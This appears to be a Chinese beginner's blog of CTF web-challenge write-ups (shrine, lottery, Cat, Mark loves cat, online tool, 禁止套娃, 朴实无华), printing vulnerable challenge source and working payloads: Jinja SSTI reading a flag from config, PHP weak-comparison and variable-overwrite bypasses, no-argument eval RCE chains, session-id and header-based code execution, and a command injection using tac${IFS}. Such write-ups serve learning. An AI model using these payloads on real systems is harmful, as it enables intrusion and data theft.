初学者的一些做题记录
shrine 进去直接给了一大坨代码,简单捋一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import flask import os app = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' )@app.route('/' ) def index (): return open (__file__).read()@app.route('/shrine/' ) def shrine (shrine ): def safe_jinja (s ): s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format (c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__' : app.run(debug=True )
猜测SSTI模板注入,在/shrine/下尝试49: 七个七,而且代码里都提了Jinja。 对于输入首先过滤了(),然后过滤了config和self这两个关键字。 利用/shrine/{{"".__class__.__base__.__base__}}
找到了它最大的爹object
,再用subclasses找它下面的所有子类:{{"".__class__.__base__.__base__.__subclasses__()}}
出了个这种东西就不会做了。感觉自己的知识还是太贫瘠了,一看到SSTI的题就想着判断类型然后找它的爹执行命令,都快成思维定式了。。。而且做题也不细心,既然它把config和self放到了黑名单里,那为什么偏偏放它俩呢?config可能是因为把FLAG直接弹给了它所以过滤,那self为什么过滤?希望以后在学习过程中能克服这些问题。 去网上找了下wp看看其它师傅是怎么解的,感谢这位师傅:
1 2 https:// www.cnblogs.com/Cl0ud/ p/12316287 .html https:// zhuanlan.zhihu.com/p/ 93746437
如果没有黑名单的化,直接即可访问环境变量中的FLAG,或者用self.dict 访问但config和self被黑名单过滤掉了。这时可以使用python内置函数:url_for或者get_flashed_messages
读取全局变量current_app
。再利用这个current_app
访问config字典中FLAG键对应的值。
payload:/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
lottery 进环境发现是个类似猜骰子的东西:注册账号后去花钱猜数,猜对了给钱。当口袋饱饱之后可以买FLAG:
题目给了个附件,看看都有啥东西:
直接把所有代码都给了?和钱有关的代码如下:
1 2 3 4 5 6 7 8 9 <?php $name = htmlspecialchars ($_SESSION ['name' ]);$money = '$' . $_SESSION ['money' ]; echo <<<EOT <li>Username: $name </li> <li>Money: $money </li> EOT ;?>
直接去buy界面猜数抓包看看啥情况:
POST传了{"action":"buy","numbers":"7777777"}
,action:buy
,numbers
后面是我们猜的数字,系统会把数字带进去和"win_numbers":"8701664"
比较,这个win_numbers
和比较对错是怎么定义的?找找有没有相关的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 function buy ($req ) { require_registered (); require_min_money (2 ); $money = $_SESSION ['money' ]; $numbers = $req ['numbers' ]; $win_numbers = random_win_nums (); $same_count = 0 ; for ($i =0 ; $i <7 ; $i ++){ if ($numbers [$i ] == $win_numbers [$i ]){ $same_count ++; } } switch ($same_count ) { case 2 : $prize = 5 ; break ; case 3 : $prize = 20 ; break ; case 4 : $prize = 300 ; break ; case 5 : $prize = 1800 ; break ; case 6 : $prize = 200000 ; break ; case 7 : $prize = 5000000 ; break ; default : $prize = 0 ; break ; } $money += $prize - 2 ; $_SESSION ['money' ] = $money ; response (['status' =>'ok' ,'numbers' =>$numbers , 'win_numbers' =>$win_numbers , 'money' =>$money , 'prize' =>$prize ]); }
PHP的弱相等(==)和强相等(===)碰见挺多次了,弱相等会在比较之前进行类型转换,转换完了再比较是否相等(可以用布尔、科学计数法等绕过)。强相等会直接比较类型是否相等?内容是否相等?(不过依然可以通过数组方法绕过)。
1 2 3 4 5 6 7 8 9 10 11 12 13 下面的总结参考了这位师傅的文章:https://blog.csdn.net/qq_43715020?type =blog 在php中,如果bool 和"任何其他类型"比较,"任何其他类型"会转换为bool 。 在PHP中当转换为 boolean 时,以下值被认为是 FALSE : (1 ) 布尔值 FALSE 本身 (2 ) 整型值 0 (零) (3 )浮点型值 0.0 (零) (4 )空字符串,以及字符串 “0 ” (5 )不包括任何元素的数组(注意,一旦包含元素,就算包含的元素只是一个空数组,也是true ) (6 )不包括任何成员变量的对象(仅 PHP 4.0 适用) (7 )特殊类型 NULL (包括尚未赋值的变量) (8 )从空标记生成的 SimpleXML 对象 (9 )所有其它值包括-1 都被认为是 TRUE
因为是拿数组元素一个一个的比较,那就直接让"numbers"
为[true,true,true,true,true,true,true]。
payload:{"action":"buy","numbers":[true,true,true,true,true,true,true]}
不过有个问题我还没搞懂:bool的true和false常量是不区分大小写的,但我改成:{"action":"buy","numbers":[TRUE,TRUE,TRUE,TRUE,TRUE,TRUE,TRUE]}
就给我回显invalid json。。。难道json这东西的一些定义还对大小写有说法?
Cat 题目描述: 抓住那只猫
随便输了个loli.club没啥反应,单上面的URL变化了:
/index.php?url=loli.club
GET传参url?看着像存在文件包含漏洞:
url=etc/passwd试了半天没啥反应。。用burpsuite抓包看response有个CAT?输个CAT尝试一下:
执行了ping命令?试试127.0.0.1:
果然是ping命令,那这题可能是RCE,但&|;均被过滤掉了(提示invalid URL)。。后面不会做了,下面部分内容参考了这位师傅的博客,感谢:https://blog.csdn.net/qq_44065556/article/details/120541298和https://www.cnblogs.com/xyongsec/p/11364520.html
既然有过滤就要看看它过滤了啥没过滤了啥,在框里输入东西后上面的URL会变化:
http://61.147.171.105:53337/index.php?url=127.0.0.1%26ls
直接送到burpsuite里爆破,集束炸弹模式从%00
爆到%FF
,发现当URL大于%80后会有报错:
发现有,
等标签猜测要改成html后缀?改完后打开:
这玩意儿是个Django
报错界面(感觉有点像今年NSCTF那道题的报错界面):
illegal multibyte sequence 意思是非法的多字节序列
而GBK这东西面对超过0x7F的时候会用两个字符表示。感觉就是这里出了问题:超过%7F的URL均会把报错。
而且当 CURLOPT_SAFE_UPLOAD
为 true 时,如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求,来读取文件。
接下来有两种方法:一种先找settings.py在找database,另一种直接在报错页面ctrl+f找database:
1 /opt/ api/database.sqlite3
django项目生成时settings.py会存放在项目目录下再以项目名称命名的文件夹下面:
/opt/api/api/settings.py
进数据库里直接ctrl+F然后找CTF就好了。。不过我做这道题的时候不知道咋回事没法读,一直进的是那页报错信息。。。MD
[BJDCTF2020]Mark loves cat 进环境发现是个网页:
感觉像是敏感文件泄露的题?先试试/.git再用dirsearch扫:
有东西,直接上Githack:
python GitHack.py http://af058f36-8fc4-47ff-86be-d9b094d1187b.node4.buuoj.cn/.git/
发现有index.php
和flag.php
:
这里碰了钉子:有时候Githack不知道是扫太快了还是咋回事,无法下载扫出来的文件(比如一开始我就找不到下载的flag.php和index.php)。后来在网上找了半天,大佬说是线程太多的原因,把线程改小就可以不被拒绝访问,方法:
这东西本来是10,给改成1就好了。
(我感觉是我用windows的原因。。?因为之前dirsearch也出现过这种情况,用Linux就正常了)
看看他俩有啥东西:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 index.php:<?php include 'flag.php' ;$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ;foreach ($_POST as $x => $y ){ POST传x=y $$x = $y ; }foreach ($_GET as $x => $y ){ GET传x=y $$x = $$y ; }foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } }if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); }if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); }echo "the flag is: " .$flag ; flag.php:<?php $flag = file_get_contents ('/flag' );
$flag已经定义,要想办法把$flag搞出来。但通篇只有利用exit去显示$yds、$is、$handsome,和变量覆盖联系一下:是否可以利用变量覆盖直接exit($flag)?
第二个flag在我看来最好满足:只要GETPOST都不传flag就行了,但是如何exit($flag)?
$yds=$flag
$(x的值)=$(y的值)->GET传yds=flag
payload:/index.php?yds=flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $_SERVER ['REMOTE_ADDR' ] = $_SERVER ['HTTP_X_FORWARDED_FOR' ]; }if (!isset ($_GET ['host' ])) { highlight_file (__FILE__ ); } else { $host = $_GET ['host' ]; $host = escapeshellarg ($host ); $host = escapeshellcmd ($host ); $sandbox = md5 ("glzjin" . $_SERVER ['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox ; @mkdir ($sandbox ); chdir ($sandbox ); echo system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host ); }
看了其它师傅们的wp,问题主要出在连续使用escapeshellarg
和 escapeshellcmd
上:同时使用会导致绕过过滤执行命令:
以下内容参考了X1r0z师傅的博客:
https://exp10it.cn/2022/08/buuctf-web-writeup-3/#buuctf-2018online-tool
escapeshellarg() 会在单引号之前加上 \
, 并在被转义的单引号两边和整个字符串两边加上单引号
escapeshellcmd() 会在所有的 \
前加上 \
, 形成 \\
, 并在不成对 的单引号前加 \
1 2 3 4 5 6 7 123 -> '123' -> '123' 123 ' -> ' 123 '\'' ' -> ' 123 '\\' '\' # 最后一个引号不成对, 被转义 123' ' -> ' 123 '\'' '\'' ' -> ' 123 '\\' '' \\'' ' # 所有引号成对, 不转义 ' 123 ' -> ' '\'' 123 '\'' ' -> ' '\\' '123' \\'' ' # 所有引号成对, 不转义
1 2 3 4 5 6 7 8 9 10 11 https ://blog.csdn.net/weixin_43952190/article/details/105846175 https ://blog.csdn.net/shinygod/article/details/123207785 ?utm_medium=distribute.pc_relevant.none-task-blog-2 ~default~baidujs_baidulandingword~default-0 -123207785 -blog-105846175 .235 ^v38^pc_relevant_yljh&spm=1001 .2101 .3001 .4242 .1 &utm_relevant_index=3 https ://exp10it.cn/2022 /08 /buuctf-web-writeup-3 /#buuctf-2018 online-toolhttps ://blog.csdn.net/xhy18634297976/article/details/122852540 ?spm=1001 .2101 .3001 .6650 .1 &utm_medium=distribute.pc_relevant.none-task-blog-2 %7 Edefault%7 ECTRLIST%7 ERate-1 -122852540 -blog-100711933 .235 %5 Ev38%5 Epc_relevant_yljh&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2 %7 Edefault%7 ECTRLIST%7 ERate-1 -122852540 -blog-100711933 .235 %5 Ev38%5 Epc_relevant_yljh&utm_relevant_index=2 https ://blog.csdn.net/weixin_44077544/article/details/102835099 https ://blog.csdn.net/xhy18634297976/article/details/122852540 ?spm=1001 .2101 .3001 .6650 .1 &utm_medium=distribute.pc_relevant.none-task-blog-2 %7 Edefault%7 ECTRLIST%7 ERate-1 -122852540 -blog-100711933 .235 %5 Ev38%5 Epc_relevant_yljh&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2 %7 Edefault%7 ECTRLIST%7 ERate-1 -122852540 -blog-100711933 .235 %5 Ev38%5 Epc_relevant_yljh&utm_relevant_index=2
[GXYCTF2019]禁止套娃
源码没啥信息,直接dirsearch扫看看吧:
python dirsearch.py -u http://8126df41-22c6-4533-823d-8e6fc9622f9d.node4.buuoj.cn --delay 3 -t 30
扫出来很多.git文件。。应该是git泄露了,用GitHack弄它:
python GitHack.py -u http://8126df41-22c6-4533-823d-8e6fc9622f9d.node4.buuoj.cn/.git/
现在windows下看看,不行再用Kali做。发现有个Index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match ('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match ('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } }?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 正则匹配中(?R)?递归模式的解释: ?R是引用当前表达式((/[a-z,_]+((?R)?)/)),形成递归调用。 ?表示递归当前表达式0 次或1 次。若是(?R)*则表示递归当前表达式0 次或多次,例如它可以匹配a (b (c ()d ())),举个栗子: <?php $a = 'a(b(c(d()f()e())));' ;if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $a )) { echo 'goodbye' ; }else { echo 'hello' ; }?> <?php $a = 'a(b(c(d()f()e())));' ;if (';' === preg_replace ('/[a-z,_]+\((?R)*\)/' , NULL , $a )) { echo 'goodbye' ; }else { echo 'hello' ; }?>
经过这种正则匹配后能过滤的基本都过滤了,去网上查了wp原来这是一种叫无参数RCE
的题型(第一次见)。下面的内容参考了这两位师傅的文章,感谢!
https://blog.csdn.net/Manuffer/article/details/120738755
https://blog.csdn.net/weixin_46330722
无参数RCE一般有三种解法:
1 2 3 1 .利用getallheaders ()函数。2 .利用get_defined_vars ()函数。3 .利用session_id帮助命令执行。
拿getallheaders()
来说,这东西会以数组形式返回所有HTTP头信息,举个栗子:
1 2 3 4 5 6 <?php var_dump (getallheaders ());?>
结果:
可以看到以数组的形式返回了HTTP数据包的头和对应信息,有意思的一点是这东西是倒着出来的。
数组形式肯定没法用,想给eval
啥的传参肯定要是个字符串。可以利用implode
函数把数组变成字符串,看下GPT对这个函数的解释:
不过这个$glue并不是必须的,默认没东西直接串起来,比如:
1 2 3 4 5 <?php $a = implode (getallheaders ());echo $a ;?>
现在字符串也得到了,我么可以在传http包的时候给数据包底下加个头比如:renyi:system('whoami');//
达到执行任意命令的目的(后面跟着注释符号,把其他的注释掉了)。
不过着这种方法我没成功。。。
get_defined_vars()
:返回所有已定义所组成的数组,不过这个和getallheaders()
不一样,它返回的是多维数组,举个栗子:
1 2 3 4 5 <?php var_dump (get_defined_vars ());?>
可以看到这东西会把GET传入的参数显示在第一位
GET传入的参数可控,那我们肯定希望在这个多维数组中取出我们想要的东西:利用current
函数:
1 current () 函数可以返回数组中的单元且初始指针指向数组的第一个单元。因为GET方式传入的参数存在该二维数组中的第一个一维数组,所以我们可以通果这个函数将其取出来
举个栗子:
1 2 3 4 5 <?php var_dump (current (get_defined_vars ()));?>
传两个参数也可以↑
假如我们要传入的恶意代码放在GET后面(传的第一个参数为了绕过一些特定参数的检测,第二个参数放恶意代码),那么如何通过current(get_defined_vars())
把他取出来?
可以利用end
函数(返回数组最后一个单元的值),比如:
1 2 3 4 5 <?php var_dump (end (current (get_defined_vars ())); ?>
绕了个小小的圈子,现在写个简单的东西看看为啥要通过第二种方法传两个参数达到RCE
的效果:
1 2 3 4 5 6 7 8 9 10 <?php if (';' === preg_replace ('/[^\W]+\((?R)?\)/' , '' , $_GET ['exp' ])) { eval ($_GET ['exp' ]); }?>
构造payload:?exp=eval(end(current(get_defined_vars())));&c=system(phpinfo());
可以看到成功执行了system(phpinfo())
。解释下为什么这么写:eval(end(current(get_defined_vars())));
这东西为了返回我们get传过去的最后一个参数的值。我一开始没加eval想着外面已经有个eval了(当时人晕了,哈哈),里面这个eval是为了执行这些套娃函数把恶意代码翻出来,外面的eval是执行恶意代码用的,一来一回就相当于eval(system(phpinfo()))
了。而且这第二个参数可以随便构造,反正它只检测exp
。
第三种方法通过session_id
执行恶意代码:
1 2 3 4 5 6 测试代码:<?php echo hex2bin (session_id (session_start ()));?>
1 2 3 4 5 6 // $a = implode(getallheaders());// ech// var_dump(localeconv());// var_dump(scandir('.' ));// $viper = $_GET ['viper' ];// @eval($viper );
注意这个hex2bin,他是字符串转字符串而不是数字转数字。
现在思路就比较清晰了:phpsession
头的值我们可以控制,先通过eval(hex2bin(session_id(session_start())));
把我们需要的恶意代码翻出来,然后把它传给exp参数就行了(注意要把恶意代码转成十六进制!):
因为我到现在还没整明白怎么用burpsuite抓本地包,所以下面的图参考了novic4师傅的图,再次感谢!
现在回到这个套娃题,已知过滤了et
,hex
等,似乎上面三种方法都用不了了。。。
看了师傅们的wp,第一个payload这么写:
?exp=print_r(scandir(current(localeconv())));
先看看这个localeconv()
返回了什么东西:
1 2 3 4 5 6 <?php var_dump (localeconv ());?>
第一项返回了我们想要的.
。再利用current
返回一维数组第一项的值:
1 2 3 4 5 <?php var_dump (current (localeconv ()));?>
注意这里和前面那个get_defined_vars
区分开,人家返回的是多维数组,现在我们只返回了一个数组,所以current
后只有一个点。
scandir('.')
这东西会以数组形式返回当前目录下的文件:
1 2 3 4 5 <?php var_dump (scandir ('.' ));?>
综上,我们先通过/?exp=var_dump(scandir(current(localeconv())));
看看当前目录下的文件都有啥(var_dump也能用print_r
等代替:
可以看到倒数第二个文件就是flag.php了,构造payload:
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
因为flag.php
在倒数第二个,所以先array_reverse
把它转成正数第二个,然后next
将指针向下移动直接提取第二个(前面的current
将指针放在首位)。
也可以用highlight_file()
函数替换,他俩差不多。
还有一种情况,比如这个flag.php的位置不特殊:
1 2 3 如果flag.php的位置不特殊,可以使用array_rand ()和array_flip ()(array_rand ()返回的是键名所以必须搭配array_flip ()来交换键名、键值来获得键值,函数作用上面有写到)来随机刷新显示的内容,刷几次就出来了,所以这种情况payload: ?exp=show_source (array_rand (array_flip (scandir (current (localeconv ())))));array_rand ()这东西会返回随机一个键名,array_flip ()用于交换数组中的键和值,这两个组合一下就会获得随机的一个键值。因为这东西完全随机的,所以多刷新几次才可能会出现flag!
第二种方法使用session_id:
不过正则匹配过滤了hex
,前面的eval(hex2bin(session_id(session_start())));
肯定没法用了,不过师傅的博客里说PHPSESSIID
这东西可以直接给他赋值flag.php
:
payload:?exp=show_source(session_id(session_start()));
并加个cookie
头:cookie:PHPSESSID=flag.php
以上内容参考了这些师傅们的文章,感谢!:
1 2 3 4 https:// sculptor-liu.github.io/2021/ 03 /20/ GXYCTF-2019 -%E7%A6%81 %E6%AD%A2%E5%A5%97 %E5%A8%83 / https:// www.cnblogs.com/LLeaves/ p/12868440 .html https:// blog.csdn.net/m0_62879498/ article/details/ 124538469 https:// blog.csdn.net/Manuffer/ article/details/ 120738755 ?spm=1001.2014 .3001.5506
[WUSTCTF2020]朴实无华 进环境发现是这么个东西。。
确实和题目对应了,哈哈。他这个报错好像是个
不知道干啥就用dirsearch扫:python dirsearch.py -u http://7136b55a-48c9-48ae-8945-1df4a83d47e7.node4.buuoj.cn:81/ --delay 3 -t 30
Kali下不用加后面那一串:python dirsearch.py -u http://7136b55a-48c9-48ae-8945-1df4a83d47e7.node4.buuoj.cn:81/
扫出来两个东西:index.php
和robots.txt
,访问robots.txt
:
index.php
就是进去这个界面,访问下这个fAke_f1agggg.php
:
:(,burpsuite抓包看看什么情况:
芜湖,响应包里有这么个东西:fl4g.php
,直接访问:
这里发现个问题:页面返回一堆乱码,但是放burpsuite的repeater模块里看又不存在,和上面那段php
报错有关系?不太懂。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php header ('Content-type:text/html;charset=utf-8' );error_reporting (0 );highlight_file (__file__);if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); }if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); }if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); }?>
过滤了cat
,绕过姿势太多了。。ca''t
还有tac
啥的都可以。先ls
看看当前目录都有啥东西:
payload:?num=2e4&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
flag{7ff4de78-289c-405b-9361-313240dfdcec}